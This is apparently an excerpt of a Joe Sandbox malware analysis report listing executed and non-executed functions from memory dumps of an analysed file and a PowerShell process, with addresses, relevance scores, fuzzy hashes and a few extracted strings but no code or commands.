Snapshot File: hcaresult_0_2_7ff8490c0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 23db1a4bb30271dac40e9606a6b45b707f727af91a4e1b1ab429fa65df51a24f
Instruction ID: d71d17918187b4ecd553eca461145b66116d620bef6ac637c6d9619d85785b2c
Opcode Fuzzy Hash: 23db1a4bb30271dac40e9606a6b45b707f727af91a4e1b1ab429fa65df51a24f
Instruction Fuzzy Hash: 8031EA71A0D6864FDF79FF28940DA6977D0EF86355B0406FED049CB192DE29D8468381

Function 00007FF8490C5F31 Relevance: .1, Instructions: 94COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2661482120.00007FF8490C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8490C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff8490c0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 214afd42df1431106834158ebca52a4d10384789302501b67d97e335f5633e24
Instruction ID: e1cd2c5dcee40ce5068748d4eaee32ccb98b9712669ed51a0fb9b27fcad5b35e
Opcode Fuzzy Hash: 214afd42df1431106834158ebca52a4d10384789302501b67d97e335f5633e24
Instruction Fuzzy Hash: 2F21C532B0DE894FEB9DEB7C985566477E1EFA931070441BAD00DC72A2DA29EC46C780

Function 00007FF8490D2A92 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2661482120.00007FF8490C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8490C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff8490c0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 72e8d00a2870071b786e218695cd5e1beb8a2bba1b042185dda785876dc8b488
Instruction ID: 3cd6dcfd1f53d73b4fccf846aa1849b716d787cb8e9bfd7d7afdb2a5f796f7fe
Opcode Fuzzy Hash: 72e8d00a2870071b786e218695cd5e1beb8a2bba1b042185dda785876dc8b488
Instruction Fuzzy Hash: 17318174D0E58A8FFB65EF2888156E9B7A4FF55354F0406FEC00D971D2CA385A848B15

Function 00007FF8490C0A78 Relevance: .1, Instructions: 66COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2661482120.00007FF8490C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8490C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff8490c0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3f169a7f2b010a2b0b2ac8bcdef0fb6339a4e3933e8fff207c8bcff122ae3f9e
Instruction ID: d3d5186e01b34fd5b121326cdf502e819e485427f5007368c2878a1ed40684ea
Opcode Fuzzy Hash: 3f169a7f2b010a2b0b2ac8bcdef0fb6339a4e3933e8fff207c8bcff122ae3f9e
Instruction Fuzzy Hash: 80114C22A1EAC50FEB58FA7C64550F6BBE1EF9432070441BBD04EC7297DD68A945C380

Function 00007FF8490C6970 Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2661482120.00007FF8490C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8490C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff8490c0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 79aedf5bd2deab099109d59b676234cd8f951f6e6a849ce9f61fed469de05b87
Instruction ID: 2a892922becff69f2e86fd3d210f3d9b82cdf89469f287f9e971558326d5c451
Opcode Fuzzy Hash: 79aedf5bd2deab099109d59b676234cd8f951f6e6a849ce9f61fed469de05b87
Instruction Fuzzy Hash: 89F0BB7360CA1C5EA72CA91DAC0B5F777E8DB96671B00023FE08AD3512ED21B81786D5

Function 00007FF8490C0830 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2661482120.00007FF8490C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8490C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff8490c0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 476a9e5f781a0c98a266eb78b22557816441b0e365849885907fb20d45885105
Instruction ID: c1eed04cfe15799a94c0a1c73736549b22b3f2bfbea9d4cbd4e0ff62dee443a1
Opcode Fuzzy Hash: 476a9e5f781a0c98a266eb78b22557816441b0e365849885907fb20d45885105
Instruction Fuzzy Hash: 57018421A1D9884FEFA8FE6C985577A72F5EB98385F10423D900DD3293CD24D8068780

Function 00007FF8490D2ACB Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2661482120.00007FF8490C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8490C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff8490c0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6fbb4652b2ea9692153f1787f54d39ca5b869b009f7fda17e6a7437e5d44fab4
Instruction ID: 5eb900ef4d07423be3157cbec6575fa6af8bd93c50e456f79e785b0efeced6a9
Opcode Fuzzy Hash: 6fbb4652b2ea9692153f1787f54d39ca5b869b009f7fda17e6a7437e5d44fab4
Instruction Fuzzy Hash: FA1107B4D4955A8FEFA8EF18C8556A9B7B5EB64310F0045EAC00DD3291CE346A808F54

Function 00007FF8490D00F9 Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2661482120.00007FF8490C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8490C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff8490c0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 848ba34a404ae2676e5dcedf609a1a65bcc91cd91f15860ba0d7d0980ad1042b
Instruction ID: 89b8abe35dc93aa67107b42f1011e97d1243e2fe65b02cee5ec379df91851875
Opcode Fuzzy Hash: 848ba34a404ae2676e5dcedf609a1a65bcc91cd91f15860ba0d7d0980ad1042b
Instruction Fuzzy Hash: 60115B7080CA8D8FDF85EF28C858AA97FB0FF29341F0405AAE408C71A2DB34D954CB40

Function 00007FF8490D2428 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2661482120.00007FF8490C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8490C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff8490c0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3a8472e54b7630fa288f4ae2eedd973ab9f12f66caed996ff37aa4fde380d6ab
Instruction ID: 3f7d08eb6d201e2e5dfdd1985e44432c2711e179fbd57a0e9a2fe2f37be59b9e
Opcode Fuzzy Hash: 3a8472e54b7630fa288f4ae2eedd973ab9f12f66caed996ff37aa4fde380d6ab
Instruction Fuzzy Hash: 5401D770918A4D9FDF94EF58C845AF977E0FF68345F14056AA819D3290DB34E550CB81

Function 00007FF8490D2209 Relevance: .0, Instructions: 48COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2661482120.00007FF8490C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8490C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff8490c0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 27da5b842bdff3428d256fae448f87e64426bec69a84f0852e601b047089b4fe
Instruction ID: c3570fa5f878e7edc3688b31cab718454a72a76f128d51d30a1d381a2b3d19d9
Opcode Fuzzy Hash: 27da5b842bdff3428d256fae448f87e64426bec69a84f0852e601b047089b4fe
Instruction Fuzzy Hash: 3911697080868D8FDB95EF28C845ABA7BF0FF66340F0405AAE408C71A2D779D954CB80

Function 00007FF8490D25D8 Relevance: .0, Instructions: 47COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2661482120.00007FF8490C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8490C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff8490c0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 41c86d98fc7d370c2c8303fb8f68f5618c3791d1694663b1519be8aaed8d3805
Instruction ID: 491d984f2609a0f130d3334f476f1b976e34aac703a0becfc3bd050567c5aa04
Opcode Fuzzy Hash: 41c86d98fc7d370c2c8303fb8f68f5618c3791d1694663b1519be8aaed8d3805
Instruction Fuzzy Hash: 3001A570918A4D9FDF94EF68C849AAE7BF4FB68305F10066AA41DD3290DB34E594CB80

Function 00007FF8490D1CC8 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2661482120.00007FF8490C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8490C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff8490c0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b23ef4d7a63aed53a87cb39907d7dad2d52a5ba32c514b02c7a1f52e33e78afa
Instruction ID: 88486f65272d8a78983c6ebe53d9cbfc8d37a76e3a4a15b929f815a0e195d2e8
Opcode Fuzzy Hash: b23ef4d7a63aed53a87cb39907d7dad2d52a5ba32c514b02c7a1f52e33e78afa
Instruction Fuzzy Hash: 9E01D23080895D8FDF94EF58C888ABA7BF4FB68305F10056AA819D3290DB30A694CB80

Function 00007FF8490D2338 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2661482120.00007FF8490C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8490C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff8490c0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 062a1e325b397b20dddb3324785512c58d3c8fed8a4a9050eb541648450fd5db
Instruction ID: a1880cbdae16aa2431dc3303e84227f95016a76a8d1df931d6bdd45f96ba44b8
Opcode Fuzzy Hash: 062a1e325b397b20dddb3324785512c58d3c8fed8a4a9050eb541648450fd5db
Instruction Fuzzy Hash: F701A47091894D9FDF94EF58C848ABE7BF0FF68305F10456AA81DD3291DB75AA90CB80

Function 00007FF8490D2360 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2661482120.00007FF8490C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8490C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff8490c0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2aa3a489dd97db1e8a1828cfecaf38c24945e9f3beb6a60d76e9cbd90ea0e197
Instruction ID: dbcc17ff48f71d7cac771d6074ccdb581d995a3e705538944f2d3b7455b30c1b
Opcode Fuzzy Hash: 2aa3a489dd97db1e8a1828cfecaf38c24945e9f3beb6a60d76e9cbd90ea0e197
Instruction Fuzzy Hash: 6501927091894D9FDF94EF58C848ABA7BF0FB68305F10456AE419D3290DB75A694CB80

Function 00007FF8490D23D8 Relevance: .0, Instructions: 41COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2661482120.00007FF8490C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8490C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff8490c0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c26eb7870aa69325b7d0a3d6e99bf6ca6a5fd3a40c023516a601e8780d8af6f0
Instruction ID: 518a90e795f24a6eab1836929dcd866e1a24522b5a179d0f2c7b86a75dc1979f
Opcode Fuzzy Hash: c26eb7870aa69325b7d0a3d6e99bf6ca6a5fd3a40c023516a601e8780d8af6f0
Instruction Fuzzy Hash: 3F01FB7080854D8FDF94EF58C944ABA77F4FB28341F10056AE41DD3190DB75E654CB80

Function 00007FF8490D1BB0 Relevance: .0, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2661482120.00007FF8490C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8490C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff8490c0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9780e93d23d84f01ef07d2d090c0ce8dafd0880999a56f818669611d2b5811b2
Instruction ID: 9a8d77e4f065f99c54a958b02e96381091d97e5579daf8a94807ab3a96159954
Opcode Fuzzy Hash: 9780e93d23d84f01ef07d2d090c0ce8dafd0880999a56f818669611d2b5811b2
Instruction Fuzzy Hash: 38F0E73181894D9FDF94EF68C858ABA77B4FB28305F00096AA41DD3290DB34A590CB40

Function 00007FF8490C44FC Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2661482120.00007FF8490C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8490C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff8490c0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 27a143c61ef5e770af94894087a98bbe4173d00a7c86ef2642c930173ae50071
Instruction ID: 0cad85a67deec309c605d6b346cc125cc364baffc402767c3651844862985ec7
Opcode Fuzzy Hash: 27a143c61ef5e770af94894087a98bbe4173d00a7c86ef2642c930173ae50071
Instruction Fuzzy Hash: A7E0BF22B5DA090EB548725C38471F973C1D785171B50517BE84DC26D7ED1A6893418A

Function 00007FF8490C457C Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2661482120.00007FF8490C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8490C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff8490c0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9604802aee074825aafdcf01c2f9e6e2ca977ccffca8d028b3fe0a0c845c8bdf
Instruction ID: c09246172604d8c7d76580ee2b831015069019ca635828501c0c410536fdfbc8
Opcode Fuzzy Hash: 9604802aee074825aafdcf01c2f9e6e2ca977ccffca8d028b3fe0a0c845c8bdf
Instruction Fuzzy Hash: 18E04F73B4C5064EE618694C78871F873C1E79A2B0B40057BD58A8659AE91A644301CA

Function 00007FF8490C07F9 Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2661482120.00007FF8490C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8490C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff8490c0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f46ea86b4993e53135c45956830a700c83c9b065975e74f185489814ca6329c1
Instruction ID: fed0ca076627b5d12bc0e4dcfbe7c04753347e11e38061a96e13c362391befae
Opcode Fuzzy Hash: f46ea86b4993e53135c45956830a700c83c9b065975e74f185489814ca6329c1
Instruction Fuzzy Hash: 7FE0E51104F3E22FD3439778A8A24D67F309D0716870942E7D0C4CE093D60C954AC3A6

Function 00007FF8490CC830 Relevance: .0, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2661482120.00007FF8490C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8490C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff8490c0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7c9ad786969763d22a7885d09eb58e37a5514e84f19f8d428110b0113b133d13
Instruction ID: 294ce6f6d6f1657feb7e65db566d2aa51520a9e04251c2393e6caa08825afe4b
Opcode Fuzzy Hash: 7c9ad786969763d22a7885d09eb58e37a5514e84f19f8d428110b0113b133d13
Instruction Fuzzy Hash: 5EE0203171C6554EEB7826BD644C77363C4DB98365F10453AD008C32C0D97C94858780

Function 00007FF8490CAA5E Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2661482120.00007FF8490C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8490C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff8490c0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cd25092632d961d4413a513d02c8976acc4773871cb1abd99fec50a9eb6bb65a
Instruction ID: 4065339e0e7912eca143ab563a479818184e075dbba3e9fb8079913e866d6069
Opcode Fuzzy Hash: cd25092632d961d4413a513d02c8976acc4773871cb1abd99fec50a9eb6bb65a
Instruction Fuzzy Hash: 37D01700F5C8AE0EEDACBA7834192BE91C2CBC979079058B5E40DC628ADD2CDC421380

Function 00007FF8490C07E0 Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2661482120.00007FF8490C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8490C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff8490c0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e82a63731ebfef2ba25e8db5fd86ed7581b6fc0fd8f78c18b2c53c3cca0c4e20
Instruction ID: 81550cc5427eff433dc9454f47b97522305f818add7bac7ede841c8dc688e6d8
Opcode Fuzzy Hash: e82a63731ebfef2ba25e8db5fd86ed7581b6fc0fd8f78c18b2c53c3cca0c4e20
Instruction Fuzzy Hash: CBB09212B1DC190FA2A0628D3C821B8A281D788661B5801B3E008C228ADA099D8602C6

Non-executed Functions

Function 00007FF8490C2EFA Relevance: 1.6, Strings: 1, Instructions: 333COMMON

Download Yara Rule

Strings

pI, xrefs: 00007FF8490C3061

Memory Dump Source

Source File: 00000000.00000002.2661482120.00007FF8490C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8490C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff8490c0000_file.jbxd

Similarity

API ID:
String ID: pI
API String ID: 0-1830608477
Opcode ID: 9acdb91f26a2553d670d3e1bd15eb80c48ad24bb877afc4663d1922fd849ac81
Instruction ID: 654a0f0931f70d70f347e37e7a69c43ff184b9adf1494c6856a143b007992d2b
Opcode Fuzzy Hash: 9acdb91f26a2553d670d3e1bd15eb80c48ad24bb877afc4663d1922fd849ac81
Instruction Fuzzy Hash: CEA1F75381F6D29FE665BBBCB8511E73BA0FF12768B0C02B6D08C4E197DD1CA84682D5

Analysis Process: powershell.exePID: 6696, Parent PID: 1536COMMON

Executed Functions

Function 00007FF848FE6605 Relevance: 6.7, Strings: 5, Instructions: 434COMMON

Download Yara Rule

Strings

(B#I, xrefs: 00007FF848FE6974
(B#I, xrefs: 00007FF848FE67C3
(B#I, xrefs: 00007FF848FE678C
(B#I, xrefs: 00007FF848FE6858
(B#I, xrefs: 00007FF848FE66ED

Memory Dump Source

Source File: 00000002.00000002.2225191412.00007FF848FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff848fe0000_powershell.jbxd

Similarity

API ID:
String ID: (B#I$(B#I$(B#I$(B#I$(B#I
API String ID: 0-1620291718
Opcode ID: 5bc35c56eacf151fc54a3bc5a54a3c0d6d9175490abf6d6142b826c9431d3de0
Instruction ID: 95a41cef324c82138c54b37f5663ca696c71ed31233585cb0c7095617e438f95
Opcode Fuzzy Hash: 5bc35c56eacf151fc54a3bc5a54a3c0d6d9175490abf6d6142b826c9431d3de0
Instruction Fuzzy Hash: 83D13131D1EA8E5FEBA9AB2858555B9BBA1EF16350F1801FAD40DCB0D3EA1CAC01C355

Function 00007FF848FE4073 Relevance: 1.4, Strings: 1, Instructions: 187COMMON

Download Yara Rule

Strings

8>#I, xrefs: 00007FF848FE413A

Memory Dump Source

Source File: 00000002.00000002.2225191412.00007FF848FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff848fe0000_powershell.jbxd

Similarity

API ID:
String ID: 8>#I
API String ID: 0-2340899229
Opcode ID: 715f2d1f18e9318e6af317db18184ff68142fdcd9a28c68efc7bfca4c90f2c2c
Instruction ID: de745661b903b567d36aa5c71d21d3ec714641d03bdefe31c52cef11873a2b56
Opcode Fuzzy Hash: 715f2d1f18e9318e6af317db18184ff68142fdcd9a28c68efc7bfca4c90f2c2c
Instruction Fuzzy Hash: 4051E432E0DE8A4FEBAAEB2C941167577D2EFA4660F1801BEC14DC71D2DF1CE8058249

Function 00007FF848FE4370 Relevance: 1.4, Strings: 1, Instructions: 151COMMON

Download Yara Rule

Strings

p>#I, xrefs: 00007FF848FE43ED

Memory Dump Source

Source File: 00000002.00000002.2225191412.00007FF848FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff848fe0000_powershell.jbxd

Similarity

API ID:
String ID: p>#I
API String ID: 0-3576117583
Opcode ID: 594f0af8dbae77f22dd6f4595d9169acaab955b82bbe5ec04605a9df822eb677
Instruction ID: f7353fd16b4330a6ef93f9a57ec6d289bb3903dee1f423bef1de509a2ecdc713
Opcode Fuzzy Hash: 594f0af8dbae77f22dd6f4595d9169acaab955b82bbe5ec04605a9df822eb677
Instruction Fuzzy Hash: 15411232E0DE894FE7A9EB2C68116B47BE1EF64660F0801BEC54DC71C7EA1CAC118385

Function 00007FF848FE40BF Relevance: 1.4, Strings: 1, Instructions: 100COMMON

Download Yara Rule

Strings

8>#I, xrefs: 00007FF848FE413A

Memory Dump Source

Source File: 00000002.00000002.2225191412.00007FF848FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff848fe0000_powershell.jbxd

Similarity

API ID:
String ID: 8>#I
API String ID: 0-2340899229
Opcode ID: 8acca736745a6f662df9e264b9af29c538983d36e78673c3ec14ef90ff5d2e95
Instruction ID: ac568189ce7307ac677044ff336462a368be3e4b9758b90e8278e1128597cef6
Opcode Fuzzy Hash: 8acca736745a6f662df9e264b9af29c538983d36e78673c3ec14ef90ff5d2e95
Instruction Fuzzy Hash: 1121C032D1DE864FEBAAEB1C985017466D2FF74290F5900BEC14DC71E2DF1C9C448249

Function 00007FF848FE43BC Relevance: 1.3, Strings: 1, Instructions: 67COMMON

Download Yara Rule

Strings

p>#I, xrefs: 00007FF848FE43ED

Memory Dump Source

Source File: 00000002.00000002.2225191412.00007FF848FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff848fe0000_powershell.jbxd

Similarity

API ID:
String ID: p>#I
API String ID: 0-3576117583
Opcode ID: 6dddfa4f48ffd10f56ebd5f777617e8d587fef2202773a8ead9c8efa45f98fcd
Instruction ID: bf8fc00af0f996a885d9ac408de3b346d330ff727058f3b939c446dd8c979ea1
Opcode Fuzzy Hash: 6dddfa4f48ffd10f56ebd5f777617e8d587fef2202773a8ead9c8efa45f98fcd
Instruction Fuzzy Hash: 8A11CE32E0EA894FE3A5EB2C98505B87AE1FF60660F5900BED44DC74D2DB1DAC108385

Function 00007FF848F19FF3 Relevance: .1, Instructions: 145COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2224519908.00007FF848F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff848f10000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 09f19afe34be1725c0a30ca3467dd1fdbb02d356badbd2c1a37c6b083bb51111
Instruction ID: 50f240c869ecc85ae5a4c48387398d592b0d0c58d3db22b99e726438b106a2dd
Opcode Fuzzy Hash: 09f19afe34be1725c0a30ca3467dd1fdbb02d356badbd2c1a37c6b083bb51111
Instruction Fuzzy Hash: B341DB77C0DA914FE355AB6CA8964E53B90FF11FDAF0802B6D08C8A0D3EE186C858685

Function 00007FF848F19728 Relevance: .1, Instructions: 144COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2224519908.00007FF848F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff848f10000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9909ba3251d33266e90f4c88058996d7622ae68367632069e4027b124f841016
Instruction ID: b493a6d3db7341c661824d4b514081a2a454e25d50fb9c2309f19c347108714b
Opcode Fuzzy Hash: 9909ba3251d33266e90f4c88058996d7622ae68367632069e4027b124f841016
Instruction Fuzzy Hash: 92414D71D0CB889FDB18AB5CAC067B97BE1FB54710F10416FE04993696DB74AC468BC2

Function 00007FF848DFE380 Relevance: .1, Instructions: 126COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2223731537.00007FF848DFD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848DFD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff848dfd000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b055a01bd6cf583f9be3ef232f9a9ac45b2fb1523b9cebd449f6d7afd3705e6c
Instruction ID: f86c383ab288c4b0d573f4660b37e80c8bff4108808a4b9b014f38f32d438f76
Opcode Fuzzy Hash: b055a01bd6cf583f9be3ef232f9a9ac45b2fb1523b9cebd449f6d7afd3705e6c
Instruction Fuzzy Hash: 7341027180EBC44FE7569B289849A563FF0EF52365F1502EFD088CB1A3D725E84AC792

Function 00007FF848F1A47C Relevance: .1, Instructions: 99COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2224519908.00007FF848F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff848f10000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 826376571938ca7e20f6d516cdf588b7f0702c4565a6ecec84f475d376877543
Instruction ID: 561fbd8c227b668c1e2f36e57ac8f5740fd4fc50522bcdf6ca8fd43ca9ae5a7d
Opcode Fuzzy Hash: 826376571938ca7e20f6d516cdf588b7f0702c4565a6ecec84f475d376877543
Instruction Fuzzy Hash: 8921E63190C74C8FDB59DBAC984A7E97BF0EB96321F04426BD049C3152DA749456CB91

Function 00007FF848F133B5 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2224519908.00007FF848F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff848f10000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 67d1617613e612b7a049b31fcb3c0c06bb00aa9b6616606570c7eb9b15762ca9
Instruction ID: 191617ceee889ec1b776a361fbb2d1250ce1ead809f4672e64413ffe75dfec08
Opcode Fuzzy Hash: 67d1617613e612b7a049b31fcb3c0c06bb00aa9b6616606570c7eb9b15762ca9
Instruction Fuzzy Hash: 7201677111CB0C4FDB44EF0CE451AA5B7E0FB95364F10056EE58AC3695DB36E882CB45

Non-executed Functions

Function 00007FF848F18BFA Relevance: 6.4, Strings: 5, Instructions: 108COMMON

Download Yara Rule

Strings

N_^6, xrefs: 00007FF848F18BFA
N_^<, xrefs: 00007FF848F18C2A
N_^J, xrefs: 00007FF848F18C7A
N_^F, xrefs: 00007FF848F18C6A
N_^I, xrefs: 00007FF848F18C72

Memory Dump Source

Source File: 00000002.00000002.2224519908.00007FF848F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff848f10000_powershell.jbxd

Similarity

API ID:
String ID: N_^6$N_^<$N_^F$N_^I$N_^J
API String ID: 0-4116931533
Opcode ID: 8201c494a57edf1f917aa58f11816ee0842afcba423ac7bfc73ad6212f0e6841
Instruction ID: 58a37288408cec2b7841e32effd1dac45db3f07ecb65aa4a0ef07aed3610af80
Opcode Fuzzy Hash: 8201c494a57edf1f917aa58f11816ee0842afcba423ac7bfc73ad6212f0e6841
Instruction Fuzzy Hash: 1B21027771A426AFD30277EDBC105D97790EB942BAB4802B3D358CF503DA18608B87E9

Function 00007FF848F18995 Relevance: 5.1, Strings: 4, Instructions: 134COMMON

Download Yara Rule

Strings

N_^, xrefs: 00007FF848F18A2A
N_^, xrefs: 00007FF848F189C9
N_^, xrefs: 00007FF848F18AC2
N_^, xrefs: 00007FF848F18A7A

Memory Dump Source

Source File: 00000002.00000002.2224519908.00007FF848F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff848f10000_powershell.jbxd

Similarity

API ID:
String ID: N_^$N_^$N_^$N_^
API String ID: 0-3900292545
Opcode ID: 4c7165383706c89994039df35c5f292cc68dc3bb38e90c62960c8587f7665e4e
Instruction ID: c8b8886687305b2a41d1eba2b953a3d5750cd3a52f0bbcab52165bdf2f0273da
Opcode Fuzzy Hash: 4c7165383706c89994039df35c5f292cc68dc3bb38e90c62960c8587f7665e4e
